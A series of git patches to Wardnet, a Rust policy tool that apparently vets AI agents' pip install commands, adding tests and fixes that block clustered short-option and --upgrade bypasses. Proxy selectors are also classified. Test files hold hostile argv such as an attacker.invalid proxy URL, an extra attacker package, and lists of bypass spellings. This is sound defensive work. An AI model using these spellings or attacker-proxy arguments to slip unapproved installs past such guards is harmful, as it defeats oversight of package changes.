Seongho Bae Date: Sat, 12 Sep 2026 07:43:14 +0900 Subject: [PATCH 472/702] docs(security): trace pip upgrade admission authority --- .../pypi-upgrade-mutation-authority.md | 37 +++++++++++++++++++ 1 file changed, 37 insertions(+) create mode 100644 docs/doctoring/pypi-upgrade-mutation-authority.md diff --git a/docs/doctoring/pypi-upgrade-mutation-authority.md b/docs/doctoring/pypi-upgrade-mutation-authority.md new file mode 100644 index 00000000..52dcb28c --- /dev/null +++ b/docs/doctoring/pypi-upgrade-mutation-authority.md @@ -0,0 +1,37 @@ +# PyPI upgrade mutation authority + +Verified 2026-09-12 against pip commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for direct `pip` / `pip3` upgrade semantics. Wardnet classifies pre-execution intent only; it does not execute pip, resolve versions, inspect or mutate the effective Python environment, or own filesystem/session isolation. + +## Problem + +A reviewed PyPI artifact coordinate authorizes one exact package identity. pip's install command separately defines `-U` / `--upgrade` as authority to upgrade the specified packages to the newest available version. The same command implementation documents that a target install combined with upgrade authority may replace existing packages in the target directory. + +Before this repair, Wardnet's existing PyPI install-mutation classifier rejected `--ignore-installed` and `--force-reinstall`, but an otherwise approved direct `pip` / `pip3 install` could add `-U` or `--upgrade` and still receive `Allow`. That lets caller-controlled argv request package/environment mutation beyond the reviewed exact artifact authority. + +## Boundary and decision + +The existing `pypi_install_mutation_authority` remains the single classifier for this bounded concern. The minimum repair adds only the two reviewed pip selectors: + +- `-U` fails closed as `artifact_not_approved`; +- exact `--upgrade` fails closed as `artifact_not_approved`; +- `--upgrade-strategy` remains outside this change because it is a distinct resolver-policy selector and needs its own evidence and acceptance criteria before Wardnet changes its treatment; +- guessed long-option prefixes such as `--up` are not classified by this repair because the reviewed upstream command also defines `--upgrade-strategy`, so prefix semantics must not be inferred without an exact parser acceptance proof; +- existing ignore-installed, force-reinstall, artifact/source/hash/dependency/trust/config/output/cache/system-package/install-root and audit contracts remain unchanged. + +The rule does not authorize or implement installation, package selection, interpreter-environment mutation, target-directory mutation, rollback, quarantine, egress policy, or sandbox behavior. Those concerns remain with their canonical owners and downstream execution boundary. + +## RED → repair evidence + +The formatter-clean test-only RED head is `39f25a6d6e2416ecb0fd106d25b6503a74f2d1ff`. Hosted CI run `34654851862`, job `103444903328`, passed checkout, Rust toolchain setup and `cargo fmt --check`, then reached `cargo test --locked --workspace`. The new hostile contract failed exactly because `pip -U` returned `Allow` where `Block` was required. Existing workspace tests before that assertion remained green. + +The minimum production repair was introduced at `c6308e69eb164395709a21ee8b16387068484aa3`. It extends the existing mutation classifier with exact `-U` / `--upgrade` matching and adds precision unit tests that reject conflation with `--upgrade-strategy`, guessed prefixes, lowercase `-u`, pluralized variants, unrelated options, and artifact operands. Exact-head GREEN remains a hosted evidence requirement and is recorded only after the current documentation-bearing head completes CI successfully. + +## Primary-source trace + +At pip commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/commands/install.py` registers `-U` / `--upgrade` as the Boolean `upgrade` option with the documented effect of upgrading specified packages to the newest available version. The same command separately registers `--upgrade-strategy`, which is why this repair does not use a broad `--up...` prefix matcher. + +## APA 7 references + +Python Packaging Authority. (2026). *pip install command* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`) [Source code]. GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/commands/install.py + +National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 From 79abc57054c26f1fe92a0e00e6704b0a4fb11445 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 07:46:01 +0900 Subject: [PATCH 473/702] docs(security): record pip upgrade GREEN evidence --- docs/doctoring/pypi-upgrade-mutation-authority.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/doctoring/pypi-upgrade-mutation-authority.md b/docs/doctoring/pypi-upgrade-mutation-authority.md index 52dcb28c..6623fd1a 100644 --- a/docs/doctoring/pypi-upgrade-mutation-authority.md +++ b/docs/doctoring/pypi-upgrade-mutation-authority.md @@ -20,11 +20,13 @@ The existing `pypi_install_mutation_authority` remains the single classifier for The rule does not authorize or implement installation, package selection, interpreter-environment mutation, target-directory mutation, rollback, quarantine, egress policy, or sandbox behavior. Those concerns remain with their canonical owners and downstream execution boundary. -## RED → repair evidence +## RED → GREEN evidence The formatter-clean test-only RED head is `39f25a6d6e2416ecb0fd106d25b6503a74f2d1ff`. Hosted CI run `34654851862`, job `103444903328`, passed checkout, Rust toolchain setup and `cargo fmt --check`, then reached `cargo test --locked --workspace`. The new hostile contract failed exactly because `pip -U` returned `Allow` where `Block` was required. Existing workspace tests before that assertion remained green. -The minimum production repair was introduced at `c6308e69eb164395709a21ee8b16387068484aa3`. It extends the existing mutation classifier with exact `-U` / `--upgrade` matching and adds precision unit tests that reject conflation with `--upgrade-strategy`, guessed prefixes, lowercase `-u`, pluralized variants, unrelated options, and artifact operands. Exact-head GREEN remains a hosted evidence requirement and is recorded only after the current documentation-bearing head completes CI successfully. +The minimum production repair was introduced at `c6308e69eb164395709a21ee8b16387068484aa3`. It extends the existing mutation classifier with exact `-U` / `--upgrade` matching and adds precision unit tests that reject conflation with `--upgrade-strategy`, guessed prefixes, lowercase `-u`, pluralized variants, unrelated options, and artifact operands. + +The first documentation-bearing GREEN head is `278f75dd0b9d0f61f188b4e6f86db253918e12cc`. Hosted CI run `34655220420`, job `103446030862`, completed `cargo fmt --check`, `cargo test --locked --workspace`, and Clippy successfully. This evidence proves the hostile contract and the existing workspace on the repaired lineage. The subsequent documentation-only commit that records this result changes no Rust source or test semantics, but it still requires its own terminal repository checks before merge because predecessor conclusions do not transfer to a moved head. ## Primary-source trace From 12b5f1f45a773c080d60910f84480160745a2d46 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 08:11:43 +0900 Subject: [PATCH 474/702] test(security): expose clustered pip ignore-installed bypass --- .../tests/pypi_ignore_installed_authority_contract.rs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs index 30d4864a..47dcf8f3 100644 --- a/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_ignore_installed_authority_contract.rs @@ -17,6 +17,9 @@ fn approved_pip_install_cannot_inherit_unreviewed_overwrite_authority() { for overwrite_option in [ "-I", "-Iv", + "-Ivv", + "-vI", + "-qI", "--ignore-i", "--ignore-in", "--ignore-ins", From 1b683dc8fdce8504e35189a0145c0d7f33873be7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 08:18:34 +0900 Subject: [PATCH 475/702] test(security): expose clustered pip upgrade bypass --- .../tests/pypi_upgrade_authority_contract.rs | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs index 00f07eab..171fb77e 100644 --- a/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs @@ -14,7 +14,16 @@ fn approved_pip_install_cannot_inherit_unreviewed_upgrade_authority() { "the exact approved {executable} install must remain admissible before adding upgrade authority" ); - for upgrade_option in ["-U", "--upgrade"] { + for upgrade_option in [ + "-U", + "-Uv", + "-Uvv", + "-vU", + "-qU", + "-UI", + "-IU", + "--upgrade", + ] { let mut hostile = control_intent.clone(); hostile.argv.push(upgrade_option.to_string()); From 327679111106bb74a574df22511ed05899b2e883 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 08:21:59 +0900 Subject: [PATCH 476/702] test(security): format clustered pip upgrade RED --- .../tests/pypi_upgrade_authority_contract.rs | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs index 171fb77e..8c8846b7 100644 --- a/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_upgrade_authority_contract.rs @@ -14,16 +14,7 @@ fn approved_pip_install_cannot_inherit_unreviewed_upgrade_authority() { "the exact approved {executable} install must remain admissible before adding upgrade authority" ); - for upgrade_option in [ - "-U", - "-Uv", - "-Uvv", - "-vU", - "-qU", - "-UI", - "-IU", - "--upgrade", - ] { + for upgrade_option in ["-U", "-Uv", "-Uvv", "-vU", "-qU", "-UI", "-IU", "--upgrade"] { let mut hostile = control_intent.clone(); hostile.argv.push(upgrade_option.to_string()); From c59272398d2cdcfe0f16d35ae4efe674a6e3d1d2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 08:32:11 +0900 Subject: [PATCH 477/702] test(security): expose clustered pip upgrade matcher bypass --- .../src/pypi_install_mutation_authority.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index 1116515d..33b33b58 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -74,7 +74,7 @@ mod tests { #[test] fn direct_pip_upgrade_matcher_accepts_only_reviewed_mutation_selectors() { - for argument in ["-U", "--upgrade"] { + for argument in ["-U", "-Uv", "-vU", "-IU", "-UI", "--upgrade"] { assert!( matches_upgrade_option(argument), "reviewed pip upgrade selector must be classified: {argument}" From 56f0c7791d159b1bca3752fa836a5aa5ddf3a8c9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 08:40:47 +0900 Subject: [PATCH 478/702] fix(security): classify bounded pip mutation clusters --- .../src/pypi_install_mutation_authority.rs | 82 +++++++++++++++++-- 1 file changed, 74 insertions(+), 8 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index 33b33b58..7b42703d 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -46,11 +46,9 @@ fn requests_uv_pip_mutation(arguments: &[String]) -> bool { } fn matches_ignore_installed_option(argument: &str) -> bool { - if argument == "-I" || argument == "-Iv" { - return true; - } - - argument.len() >= "--ignore-i".len() && "--ignore-installed".starts_with(argument) + matches_pip_no_value_short_cluster(argument, b'I') + || (argument.len() >= "--ignore-i".len() + && "--ignore-installed".starts_with(argument)) } fn matches_force_reinstall_option(argument: &str) -> bool { @@ -58,7 +56,24 @@ fn matches_force_reinstall_option(argument: &str) -> bool { } fn matches_upgrade_option(argument: &str) -> bool { - matches!(argument, "-U" | "--upgrade") + matches_pip_no_value_short_cluster(argument, b'U') || argument == "--upgrade" +} + +/// Classify only the reviewed direct-pip no-value short-option cluster grammar. +/// +/// `pip` inherits `optparse` clustering for no-value `-v`, `-q`, `-I`, and `-U` +/// selectors. Value-taking or unknown short options are deliberately excluded so +/// their remaining bytes cannot be misclassified as embedded mutation authority. +fn matches_pip_no_value_short_cluster(argument: &str, required_flag: u8) -> bool { + let Some(cluster) = argument.strip_prefix('-') else { + return false; + }; + let bytes = cluster.as_bytes(); + !bytes.is_empty() + && bytes + .iter() + .all(|byte| matches!(*byte, b'v' | b'q' | b'I' | b'U')) + && bytes.contains(&required_flag) } fn matches_uv_reinstall_option(argument: &str) -> bool { @@ -70,11 +85,58 @@ fn matches_uv_reinstall_option(argument: &str) -> bool { #[cfg(test)] mod tests { - use super::{matches_upgrade_option, matches_uv_reinstall_option}; + use super::{ + matches_ignore_installed_option, matches_upgrade_option, matches_uv_reinstall_option, + }; + + #[test] + fn direct_pip_ignore_installed_matcher_accepts_only_reviewed_mutation_selectors() { + for argument in [ + "-I", + "-Iv", + "-Ivv", + "-vI", + "-qI", + "-IU", + "-UI", + "--ignore-i", + "--ignore-installed", + ] { + assert!( + matches_ignore_installed_option(argument), + "reviewed pip ignore-installed selector must be classified: {argument}" + ); + } + + for argument in [ + "-iI", + "-rI", + "-tI", + "-Ixyz", + "-u", + "--ignore", + "--ignore-installedx", + "cwl-example==1.2.3", + ] { + assert!( + !matches_ignore_installed_option(argument), + "value-taking, malformed, or unrelated argv must not inherit ignore-installed semantics: {argument}" + ); + } + } #[test] fn direct_pip_upgrade_matcher_accepts_only_reviewed_mutation_selectors() { - for argument in ["-U", "-Uv", "-vU", "-IU", "-UI", "--upgrade"] { + for argument in [ + "-U", + "-Uv", + "-Uvv", + "-vU", + "-qU", + "-IU", + "-UI", + "--upgrade", + ] { assert!( matches_upgrade_option(argument), "reviewed pip upgrade selector must be classified: {argument}" @@ -82,6 +144,10 @@ mod tests { } for argument in [ + "-iU", + "-rU", + "-tU", + "-Uxyz", "--upgrade-strategy=eager", "--upgrade-strategy", "--up", From a7900715b6fa9f7f6563655971964a4bbf60b170 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 08:41:38 +0900 Subject: [PATCH 479/702] docs(security): trace pip mutation cluster parser evidence --- .../pypi-upgrade-mutation-authority.md | 38 +++++++++++-------- 1 file changed, 23 insertions(+), 15 deletions(-) diff --git a/docs/doctoring/pypi-upgrade-mutation-authority.md b/docs/doctoring/pypi-upgrade-mutation-authority.md index 6623fd1a..eafd3cde 100644 --- a/docs/doctoring/pypi-upgrade-mutation-authority.md +++ b/docs/doctoring/pypi-upgrade-mutation-authority.md @@ -1,39 +1,47 @@ -# PyPI upgrade mutation authority +# PyPI install mutation authority -Verified 2026-09-12 against pip commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for direct `pip` / `pip3` upgrade semantics. Wardnet classifies pre-execution intent only; it does not execute pip, resolve versions, inspect or mutate the effective Python environment, or own filesystem/session isolation. +Verified 2026-09-12 against pip commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`. This note records the narrow evidence behind Wardnet's Agent Artifact Admission rule for direct `pip` / `pip3` mutation semantics. Wardnet classifies pre-execution intent only; it does not execute pip, resolve versions, inspect or mutate the effective Python environment, or own filesystem/session isolation. ## Problem -A reviewed PyPI artifact coordinate authorizes one exact package identity. pip's install command separately defines `-U` / `--upgrade` as authority to upgrade the specified packages to the newest available version. The same command implementation documents that a target install combined with upgrade authority may replace existing packages in the target directory. +A reviewed PyPI artifact coordinate authorizes one exact package identity. pip's install command separately defines `-I` / `--ignore-installed` as authority to ignore an existing installation and `-U` / `--upgrade` as authority to upgrade specified packages. Those selectors can therefore request mutation outside the reviewed artifact identity. -Before this repair, Wardnet's existing PyPI install-mutation classifier rejected `--ignore-installed` and `--force-reinstall`, but an otherwise approved direct `pip` / `pip3 install` could add `-U` or `--upgrade` and still receive `Allow`. That lets caller-controlled argv request package/environment mutation beyond the reviewed exact artifact authority. +Wardnet already rejected the documented long forms and exact short forms, but direct pip uses `ConfigOptionParser`, derived from Python `optparse.OptionParser`. For short options that do not take a value, the parser processes the remaining characters in the same token as additional short options. Pip's `-v`, `-q`, `-I`, and `-U` are no-value options, so mutation-bearing forms such as `-Ivv`, `-vI`, `-qI`, `-Uv`, `-vU`, `-IU`, and `-UI` are parser-valid. The previous exact-form classifier therefore allowed parser-equivalent mutation authority through alternate argv spellings. + +Value-taking short options are a different grammar. `optparse` consumes the remainder of the token as the option value when the current short option takes a value. Wardnet must therefore not invent embedded `I` or `U` semantics for tokens such as `-iI`, `-rI`, or `-tI`. ## Boundary and decision -The existing `pypi_install_mutation_authority` remains the single classifier for this bounded concern. The minimum repair adds only the two reviewed pip selectors: +The existing `pypi_install_mutation_authority` module remains the single Wardnet classifier for this bounded concern. The repair recognizes only one reviewed direct-pip short-cluster language: -- `-U` fails closed as `artifact_not_approved`; -- exact `--upgrade` fails closed as `artifact_not_approved`; -- `--upgrade-strategy` remains outside this change because it is a distinct resolver-policy selector and needs its own evidence and acceptance criteria before Wardnet changes its treatment; -- guessed long-option prefixes such as `--up` are not classified by this repair because the reviewed upstream command also defines `--upgrade-strategy`, so prefix semantics must not be inferred without an exact parser acceptance proof; -- existing ignore-installed, force-reinstall, artifact/source/hash/dependency/trust/config/output/cache/system-package/install-root and audit contracts remain unchanged. +- every character after the leading `-` must be one of the reviewed no-value options `v`, `q`, `I`, or `U`; +- ignore-installed authority is present only when that bounded cluster contains `I`; +- upgrade authority is present only when that bounded cluster contains `U`; +- exact and clustered `I`/`U` combinations therefore fail closed as `artifact_not_approved` without conflating the two semantic predicates; +- value-taking or unknown short-option characters make the cluster classifier return false rather than guessing parser behavior; +- existing long-option behavior for unambiguous `--ignore-i` through `--ignore-installed`, `--force-reinstall`, and exact `--upgrade` is preserved; +- `--upgrade-strategy`, guessed ambiguous long prefixes, lowercase `-u`, unrelated options, and artifact operands do not inherit upgrade semantics. The rule does not authorize or implement installation, package selection, interpreter-environment mutation, target-directory mutation, rollback, quarantine, egress policy, or sandbox behavior. Those concerns remain with their canonical owners and downstream execution boundary. -## RED → GREEN evidence +## RED → repair evidence + +The earlier exact-form upgrade repair is preserved by lineage: test-only head `39f25a6d6e2416ecb0fd106d25b6503a74f2d1ff` produced hosted semantic RED in CI `34654851862` / job `103444903328` because `pip -U` was allowed, and production commit `c6308e69eb164395709a21ee8b16387068484aa3` repaired exact `-U` / `--upgrade` handling. -The formatter-clean test-only RED head is `39f25a6d6e2416ecb0fd106d25b6503a74f2d1ff`. Hosted CI run `34654851862`, job `103444903328`, passed checkout, Rust toolchain setup and `cargo fmt --check`, then reached `cargo test --locked --workspace`. The new hostile contract failed exactly because `pip -U` returned `Allow` where `Block` was required. Existing workspace tests before that assertion remained green. +The clustered-option finding is tracked by Wardnet issue #343 and Draft child #344. Test-only head `12b5f1f45a773c080d60910f84480160745a2d46` produced the first hosted semantic RED in CI `34657138688` / job `103451886561`: checkout, toolchain setup and formatting passed, then the hostile `pip -Ivv` contract returned `Allow` instead of required `Block`. -The minimum production repair was introduced at `c6308e69eb164395709a21ee8b16387068484aa3`. It extends the existing mutation classifier with exact `-U` / `--upgrade` matching and adds precision unit tests that reject conflation with `--upgrade-strategy`, guessed prefixes, lowercase `-u`, pluralized variants, unrelated options, and artifact operands. +A separate production-unchanged head `c59272398d2cdcfe0f16d35ae4efe674a6e3d1d2` exposed the upgrade side directly at the classifier boundary. Hosted CI `34658434263` / job `103455722023` acquired Ubuntu 24.04, passed checkout, stable Rust setup, and `cargo fmt --check`, compiled the workspace, passed the root/runtime suites, and then failed exactly in `pypi_install_mutation_authority::tests::direct_pip_upgrade_matcher_accepts_only_reviewed_mutation_selectors` because `-Uv` was not classified. This is the required second semantic RED, not runner or bootstrap noise. -The first documentation-bearing GREEN head is `278f75dd0b9d0f61f188b4e6f86db253918e12cc`. Hosted CI run `34655220420`, job `103446030862`, completed `cargo fmt --check`, `cargo test --locked --workspace`, and Clippy successfully. This evidence proves the hostile contract and the existing workspace on the repaired lineage. The subsequent documentation-only commit that records this result changes no Rust source or test semantics, but it still requires its own terminal repository checks before merge because predecessor conclusions do not transfer to a moved head. +Minimum production repair commit `56f0c7791d159b1bca3752fa836a5aa5ddf3a8c9` replaces special-cased direct-pip short forms with one bounded no-value short-cluster classifier and adds precision tests for mutation-bearing clusters, value-taking spellings, malformed clusters, lowercase `-u`, long-option near-misses, and unrelated operands. Exact-current repository CI/fuzz remains a merge requirement after every subsequent evidence/documentation commit; predecessor conclusions are not promoted to a moved head. ## Primary-source trace -At pip commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/commands/install.py` registers `-U` / `--upgrade` as the Boolean `upgrade` option with the documented effect of upgrading specified packages to the newest available version. The same command separately registers `--upgrade-strategy`, which is why this repair does not use a broad `--up...` prefix matcher. +At pip commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`, `src/pip/_internal/commands/install.py` registers `-I` / `--ignore-installed` and `-U` / `--upgrade` as Boolean install options and separately registers `--upgrade-strategy`. Pip's parser configuration is built on its `ConfigOptionParser`, which derives from Python `optparse.OptionParser`; `optparse` short-option processing iterates a short cluster until it encounters an option that takes a value, at which point the remaining token becomes that value. This is the parser distinction encoded by Wardnet's bounded classifier. ## APA 7 references Python Packaging Authority. (2026). *pip install command* (commit `2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5`) [Source code]. GitHub. https://github.com/pypa/pip/blob/2b28a816d043826f2ba10ff1d22ec3d94d2ed7c5/src/pip/_internal/commands/install.py +Python Software Foundation. (2026). *optparse—Parser for command line options*. Python documentation. https://docs.python.org/3/library/optparse.html + National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1* (NIST Special Publication 800-218). https://doi.org/10.6028/NIST.SP.800-218 From da641b8550e7ae36eef8170441bfa272db42a13c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 08:43:53 +0900 Subject: [PATCH 480/702] style(security): apply rustfmt to pip mutation classifier --- .../src/pypi_install_mutation_authority.rs | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index 7b42703d..19eeb92a 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -47,8 +47,7 @@ fn requests_uv_pip_mutation(arguments: &[String]) -> bool { fn matches_ignore_installed_option(argument: &str) -> bool { matches_pip_no_value_short_cluster(argument, b'I') - || (argument.len() >= "--ignore-i".len() - && "--ignore-installed".starts_with(argument)) + || (argument.len() >= "--ignore-i".len() && "--ignore-installed".starts_with(argument)) } fn matches_force_reinstall_option(argument: &str) -> bool { @@ -127,16 +126,7 @@ mod tests { #[test] fn direct_pip_upgrade_matcher_accepts_only_reviewed_mutation_selectors() { - for argument in [ - "-U", - "-Uv", - "-Uvv", - "-vU", - "-qU", - "-IU", - "-UI", - "--upgrade", - ] { + for argument in ["-U", "-Uv", "-Uvv", "-vU", "-qU", "-IU", "-UI", "--upgrade"] { assert!( matches_upgrade_option(argument), "reviewed pip upgrade selector must be classified: {argument}" From 205b14da23a1e905be7bb28daace5c328d29896b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 08:44:43 +0900 Subject: [PATCH 481/702] test(security): cover pip short-cluster precision edges --- .../src/pypi_install_mutation_authority.rs | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs index 19eeb92a..168e9456 100644 --- a/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_install_mutation_authority.rs @@ -108,6 +108,10 @@ mod tests { } for argument in [ + "-", + "-v", + "-q", + "-U", "-iI", "-rI", "-tI", @@ -134,6 +138,10 @@ mod tests { } for argument in [ + "-", + "-v", + "-q", + "-I", "-iU", "-rU", "-tU", From 1ec279fabd0f0fdd340a51b5a70e0397e29e8a67 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 09:10:26 +0900 Subject: [PATCH 482/702] test(security): expose pip proxy value evidence corruption --- .../tests/pypi_proxy_authority_contract.rs | 48 +++++++++++++------ 1 file changed, 34 insertions(+), 14 deletions(-) diff --git a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs index d6dd0569..ef932ba3 100644 --- a/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_proxy_authority_contract.rs @@ -40,19 +40,17 @@ fn pip_proxy_override_cannot_inherit_artifact_approval() { DecisionKind::Block, "{executable} must not let accepted proxy selector {proxy_option:?} inherit approved artifact authority" ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot), - "proxy routing authority {proxy_option:?} must be classified explicitly: {:?}", - decision.reason_codes + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateTrustRoot], + "attached proxy routing authority {proxy_option:?} must produce only its causal trust-authority evidence" ); } } } #[test] -fn pip_separate_proxy_value_is_explicitly_classified_as_trust_authority() { +fn pip_separate_proxy_value_is_not_misclassified_as_an_artifact() { for executable in ["pip", "pip3"] { for proxy_option in ["--proxy", "--prox"] { let (policy, mut intent) = approved_pip_install(executable); @@ -66,12 +64,34 @@ fn pip_separate_proxy_value_is_explicitly_classified_as_trust_authority() { DecisionKind::Block, "{executable} separate proxy syntax {proxy_option:?} must fail closed" ); - assert!( - decision - .reason_codes - .contains(&ReasonCode::AlternateTrustRoot), - "separate proxy syntax {proxy_option:?} must be classified as trust authority rather than relying only on positional-operand rejection: {:?}", - decision.reason_codes + assert_eq!( + decision.reason_codes, + vec![ReasonCode::AlternateTrustRoot], + "the value consumed by {proxy_option:?} is proxy authority, not a second package artifact" + ); + } + } +} + +#[test] +fn genuine_extra_artifact_remains_visible_beside_separate_proxy_authority() { + for executable in ["pip", "pip3"] { + for proxy_option in ["--proxy", "--prox"] { + let (policy, mut intent) = approved_pip_install(executable); + intent.argv.push(proxy_option.to_string()); + intent.argv.push("http://attacker.invalid:8080".to_string()); + intent.argv.push("attacker-package==9.9.9".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision.reason_codes, + vec![ + ReasonCode::AlternateTrustRoot, + ReasonCode::ArtifactNotApproved, + ], + "a consumed proxy value must be ignored for artifact cardinality while a real extra package remains visible" ); } } @@ -112,7 +132,7 @@ fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { }; let policy = AdmissionPolicy { policy_id: "pypi-proxy-authority".to_string(), - policy_revision: "2026-09-11.1".to_string(), + policy_revision: "2026-09-12.1".to_string(), allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), From 19b6586288165ec03c7fe2b6b9200c2cbe3a1b8a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 09:15:45 +0900 Subject: [PATCH 483/702] fix(security): share bounded pip proxy value selector grammar --- .../agent-artifact-admission/src/pypi_proxy_authority.rs | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs index b2c0f2e0..77c24732 100644 --- a/crates/agent-artifact-admission/src/pypi_proxy_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_proxy_authority.rs @@ -1,5 +1,11 @@ use crate::InstallIntent; +/// Return whether `argument` is a reviewed direct-pip proxy selector that consumes +/// the following argv token as its value. +pub(crate) fn is_direct_pip_proxy_value_selector(argument: &str) -> bool { + matches!(argument, "--proxy" | "--prox") +} + /// Return whether a direct pip install delegates proxy routing to caller-selected argv. pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) -> bool { let Some(executable) = intent.argv.first().map(String::as_str) else { @@ -18,7 +24,8 @@ pub(crate) fn requests_unapproved_pypi_proxy_authority(intent: &InstallIntent) - } arguments.iter().skip(1).any(|argument| { - matches!(argument.as_str(), "--no-proxy-env" | "--proxy" | "--prox") + argument == "--no-proxy-env" + || is_direct_pip_proxy_value_selector(argument) || argument.starts_with("--proxy=") || argument.starts_with("--prox=") }) From 0f161b99c1025b6f2aeb8dbe115e4180774839d1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 09:16:49 +0900 Subject: [PATCH 484/702] fix(security): keep consumed pip proxy values out of artifact evidence --- crates/agent-artifact-admission/src/policy.rs | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index 09aad92a..fac7c9fa 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -1,5 +1,6 @@ use std::collections::BTreeSet; +use crate::pypi_proxy_authority::is_direct_pip_proxy_value_selector; use crate::{ AdmissionDecision, AdmissionPolicy, ApprovedArtifact, ArtifactCoordinate, DecisionKind, InstallIntent, InstructionSourceKind, ReasonCode, @@ -267,6 +268,7 @@ fn validate_artifact_operands(intent: &InstallIntent, reason_codes: &mut Vec bool { + if !matches!(executable, "pip" | "pip3") + || !arguments + .first() + .is_some_and(|argument| argument == "install") + { + return false; + } + + let Some(previous) = index + .checked_sub(1) + .and_then(|previous| arguments.get(previous)) + .map(String::as_str) + else { + return false; + }; + + is_direct_pip_proxy_value_selector(previous) +} + /// Return whether `arguments[index]` is the separate-token value consumed by a /// recognized install-root selector for the active supported install grammar. /// Attached values remain option tokens and are already excluded by the From 2d638bf3f945bf2927fe4357a075a8aed332613b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sat, 12 Sep 2026 09:21:26 +0900 Subject: [PATCH 485/702] test(security): assert proxy evidence without incidental ordering --- .../tests/pypi_proxy_authority_contract.rs | 24 ++++++++++++++----- 1 file changed, 18 